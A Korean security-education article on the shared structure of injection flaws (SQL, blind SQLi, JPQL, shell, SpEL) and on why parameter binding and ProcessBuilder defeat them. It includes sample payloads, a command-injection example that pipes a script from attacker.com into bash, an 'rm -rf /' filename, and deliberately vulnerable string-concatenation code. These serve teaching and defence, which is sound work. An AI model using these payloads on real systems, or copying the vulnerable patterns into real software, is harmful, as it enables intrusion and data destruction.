인젝션 취약점의 공통 구조: 파서를 속이는 법과 막는 법
SQL, Blind SQL, JPA/JPQL, Command, LDAP/XML/NoSQL까지 — 모든 인젝션이 공유하는 단 하나의 근본 원인과 PreparedStatement가 그것을 막는 내부 메커니즘을 추적한다.
- 01 보안 설정을 켰다고 안전한 게 아니다
- 02 인젝션 취약점의 공통 구조: 파서를 속이는 법과 막는 법
- 03 인증 시스템은 왜 이렇게 자주 뚫리는가
- 04 XSS부터 Clickjacking까지, 웹 보안 헤더의 설계 철학
- 05 API 보안의 근본은 하나다 — '신뢰하지 말고 검증하라'
- 06 서버가 공격자의 손이 되는 순간 — Spring 보안 설계의 5가지 원칙
- 07 보안은 도구가 아니라 파이프라인이다
SQL Injection, Command Injection, XXE, NoSQL Injection — 이름은 달라도 이 공격들은 하나의 동일한 구조를 공유한다. 사용자 입력이 데이터가 아닌 명령어로 해석되는 순간, 공격자가 파서의 제어권을 빼앗는다. 어떻게 이런 일이 반복되는가? 그리고 왜 “검증”만으로는 절대 충분하지 않는가?
모든 인젝션의 공통 구조
인젝션 취약점의 원인을 한 줄로 쓰면 이렇다: 문자열 연결로 구조를 만들고 그 안에 사용자 입력을 삽입한다.
// SQL
String query = "SELECT * FROM users WHERE name = '" + userInput + "'";
// Shell
String cmd = "convert " + filename + " -quality 85 output.jpg";
// JPQL
String jpql = "SELECT u FROM User u WHERE u.email = '" + email + "'";
세 줄 모두 동일한 실수다. 코드는 userInput이 데이터라고 가정하지만, 파서(SQL 파서, 셸 인터프리터, JPQL 파서)는 그 가정을 공유하지 않는다. 파서는 전달받은 문자열 전체를 언어 문법에 따라 해석한다. 공격자는 이 간극을 이용해 '나 ;, $()같은 메타문자를 삽입해 구조를 재정의한다.
-- 입력: admin' --
-- 실행: SELECT * FROM users WHERE name = 'admin' --' AND password = '...'
-- 결과: password 조건이 주석으로 사라짐 → 인증 우회
파서를 속이는 세 가지 기법
논리 우회
' OR '1'='1은 WHERE 절의 논리를 바꾼다. UNION SELECT는 쿼리의 결과 집합을 다른 테이블로 교체한다. SQL Injection의 대부분은 이 두 기법의 변형이다.
시간차 추출 (Blind SQLi)
에러 메시지를 숨겨도 공격은 끝나지 않는다. 응답이 “Found”냐 “Not found”냐, 혹은 응답이 5초 지연되느냐 즉시 오느냐 — 이진 정보만으로 비밀번호를 한 글자씩 추출할 수 있다.
# 이진 탐색으로 8글자 비밀번호를 약 40번의 요청으로 추출
# 각 글자 × log2(62) ≈ 5.9 쿼리
에러 처리를 잘 해뒀으니 안전하다는 착각이 가장 위험하다. Boolean 응답 차이나 응답 시간 차이가 남아 있는 한, PreparedStatement 없이는 막을 수 없다.
메타문자 에스컬레이션
SQL에서 '이 하는 역할을 셸에서는 ;, |, &&, $()이 한다. Runtime.exec(String)은 내부적으로 /bin/sh -c를 거치므로, 사용자가 제공한 파일명이나 파라미터 안의 셸 메타문자가 OS 명령어로 실행된다.
# 파라미터: bitrate = "1000k && curl http://attacker.com/backdoor.sh | bash"
# 실행: ffmpeg -i input.mp4 -b:v 1000k && curl ... | bash
ORM도 문자열 연결하면 같은 위험
“JPA를 쓰니까 안전하다”는 착각은 실무에서 반복적으로 등장한다. JPA/Hibernate는 JPQL을 SQL로 변환하는 계층을 추가할 뿐, JPQL 자체가 문자열 연결로 조립된다면 JPQL 파서가 공격받는다.
// 취약
String jpql = "SELECT u FROM User u WHERE u.email = '" + email + "'";
entityManager.createQuery(jpql);
// 안전
entityManager.createQuery("SELECT u FROM User u WHERE u.email = :email")
.setParameter("email", email);
SpEL(Spring Expression Language) 인젝션은 더 극단적이다. @Query의 #{...} 표현식 안에 사용자 입력이 들어가면 T(java.lang.Runtime).getRuntime().exec('...')으로 서버에서 임의 명령을 실행할 수 있다.
PreparedStatement가 막는 원리
PreparedStatement의 핵심은 쿼리 계획 고정이다. ? 자리는 데이터 슬롯으로 미리 선언되고, SQL 파서는 그 자리에 무슨 값이 들어오든 데이터로만 취급한다. 파서가 이미 구조 분석을 완료한 상태에서 데이터를 바인딩하기 때문에, ' OR '1'='1 전체가 문자열 리터럴 값이 된다.
일반 SQL: [SQL 문자열 전체] → 파서 → 구조 + 데이터 동시 해석 ← 공격 지점
PreparedStatement: [SQL 구조] → 파서 → 계획 고정
[데이터 바인딩] → 데이터만 삽입 ← 파서 개입 없음
ProcessBuilder는 셸 인젝션에서 같은 역할을 한다. 명령어와 인자를 배열로 분리하면 셸이 개입하지 않으므로, ;rm -rf /가 파일명으로 전달돼도 셸이 그것을 명령 분리자로 해석하지 않는다.
트레이드오프: 입력 검증은 왜 충분하지 않은가
화이트리스트 검증(^[a-zA-Z0-9_]+$)은 필요하지만 충분하지 않다. 자유 텍스트 필드, 한국어 입력, 이메일의 + 문자 — 실제 데이터에는 특수문자가 정당하게 등장한다. 검증만으로 방어하려면 허용 범위를 계속 넓혀야 하고, 넓힐수록 공격 가능성이 열린다.
| 방어 레이어 | 역할 | 단독으로 충분한가 |
|---|---|---|
| 입력 검증 (화이트리스트) | 형식 오류 조기 차단 | ❌ |
| PreparedStatement / 파라미터 바인딩 | 파서 레벨 분리 | ✅ 핵심 |
| 최소 권한 DB 계정 | 피해 범위 제한 | ❌ (보완) |
| 에러 메시지 숨김 | 정보 유출 차단 | ❌ (보완) |
올바른 순서는 이렇다: 파라미터 바인딩으로 근본을 막고, 나머지 레이어로 피해를 줄인다. 최소 권한 계정이 없으면 Injection 성공 시 전체 DB가 노출되고, 에러 메시지가 노출되면 Error-Based Extraction이 가능해진다.
정리
- 모든 인젝션은 구조(문법)와 데이터의 혼합에서 발생한다. 파서는 둘을 구분하지 못한다.
- PreparedStatement, ProcessBuilder, 쿼리 빌더 — 이 모두는 구조 고정 후 데이터 바인딩이라는 동일한 원칙의 구현체다.
- ORM은 자동으로 안전하지 않다. JPA도 JPQL 문자열을 연결하면 그 순간 취약해진다.
- 블랙리스트 필터링은 우회 가능하다. 화이트리스트는 부분적으로 유효하지만, 파라미터 바인딩을 대체하지 못한다.
인젝션 공격이 30년째 OWASP Top 1에서 사라지지 않는 이유는 기술이 없어서가 아니라, 근본 원칙을 모르고 패치만 반복하기 때문이다.